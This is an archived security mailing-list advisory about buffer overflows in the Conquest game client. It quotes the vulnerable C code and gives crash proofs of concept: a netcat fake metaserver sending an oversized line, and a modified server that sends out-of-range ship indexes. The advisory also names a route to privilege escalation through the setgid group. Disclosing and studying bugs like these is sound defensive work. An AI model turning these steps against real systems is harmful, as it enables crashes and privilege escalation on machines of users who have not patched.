Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[UNIX] Conquest Client Buffer Overflow

Subject: [UNIX] Conquest Client Buffer Overflow
Date: 12 Mar 2007 10:37:50 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Conquest Client Buffer Overflow
------------------------------------------------------------------------


SUMMARY

" <http://www.radscan.com/conquest.html> Conquest - a real-time, 
multi-player space warfare game." A vulnerability in Conquest allows 
remote attackers to tigger a buffer overflow in the product.

DETAILS

Vulnerable Systems:
 * Conquest client versions 8.2a (svn 691) and prior.
 * Note that on some distros (like Debian) the conquest's binaries are 
marked setgid for the conquest group.

Buffer-overflow in metaGetServerList():
The Conquest client has an option (-m) for the querying of the metaserver 
conquest.radscan.com on which are listed the servers currently online but 
the program allows the usage of alternative metaservers too.

The function which reads the data received from the metaserver is affected 
by a stack based buffer-overflow which happens during the storing of the 
line containing the server's entry in a buffer (buf) of 1024 bytes.

The best exploitation of this bug is for local users who want to escalate 
their privileges gaining the conquest group.

At the same time exists also another buffer-overflow which affects the 
static servers buffer limited to 1000 (META_MAXSERVERS) max servers, 
anyway doesn't seem possible to fully exploit this second bug for code 
execution.

from meta.c:
int metaGetServerList(char *remotehost, metaSRec_t **srvlist)
{
  static metaSRec_t servers[META_MAXSERVERS];
  ...
  char buf[1024];               /* server buffer */
  ...
  off = 0;
  while (read(s, &c, 1) > 0)
    {
      if (c != '\n')
        {
          buf[off++] = c;
        }
      else
        {                       /* we got one */
          buf[off] = 0;

          /* convert to a metaSRec_t */
          if (str2srec(&servers[nums], buf))
            nums++;
            ...

Memory Corruption through SP_CLIENTSTAT:
SP_CLIENTSTAT is a type of packet used by the server for sending some 
informations about the ships and the users.

In this packet are located two numbers which are not correctly sanitized 
by the client:
- unum: 16 bit, used for the Users structure
- snum:  8 bit, used for the Ships structure

Both the structures are placed in the cBasePtr buffer allocated at runtime 
with 262144 (SIZEOF_COMMONBLOCK) bytes of memory: Users at offset 388 
where each element has a size of 264 bytes (total 132000) and Ships at 
offset 141040 with 1124 bytes per element (total 23604).

In both the cases is possible to write one or more bytes in some zones of 
the memory outside the original structures and the cBasePtr buffer, but I 
think that code execution is practically impossible...

The following are the instructions used for handling the SP_CLIENTSTAT 
packet and where is easily visible the writing of the scstat->team value 
sent by the server:
    case SP_CLIENTSTAT:
      scstat = (spClientStat_t *)buf;
      Context.snum = scstat->snum;
      Context.unum = (int)ntohs(scstat->unum);
      Ships[Context.snum].team = scstat->team;
      clientFlags = scstat->flags;
      break;

Proof of concept:
Buffer-overflow in metaGetServerList():
- launch a fake metaserver which sends more than 1024 chars:   perl -e 
'print "a"x1200' | nc -l -p 1700 -v -v -n

- launch the client specifying the alternate metaserver:
   conquest -m -M 127.0.0.1

- interrupt the fake metaserver, conquest should have been crashed trying 
to executing the code at offset 0x61616161

Memory Corruption through SP_CLIENTSTAT:
- get the source code of the server, modify the scstat.snum or scstat.unum 
value in the sendClientStat function located in server.c giving them 
values like 0xff (for snum) or htons(0xffff) (for unum) depending by what 
of the two bugs you want to test:

  scstat.type = SP_CLIENTSTAT;
  scstat.flags = flags;
- scstat.snum = snum;
+ scstat.snum = 0xff;
  scstat.team = team;
  scstat.unum = htons(unum);
  scstat.esystem = esystem;

- compile the new server, launch it and join with a client which will  
crash after the login

Fix:
Get Conquest client version  SVN 693


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
The original article can be found at:
 <http://aluigi.altervista.org/adv/conquestbof-adv.txt> 
http://aluigi.altervista.org/adv/conquestbof-adv.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [UNIX] Conquest Client Buffer Overflow, SecuriTeam <=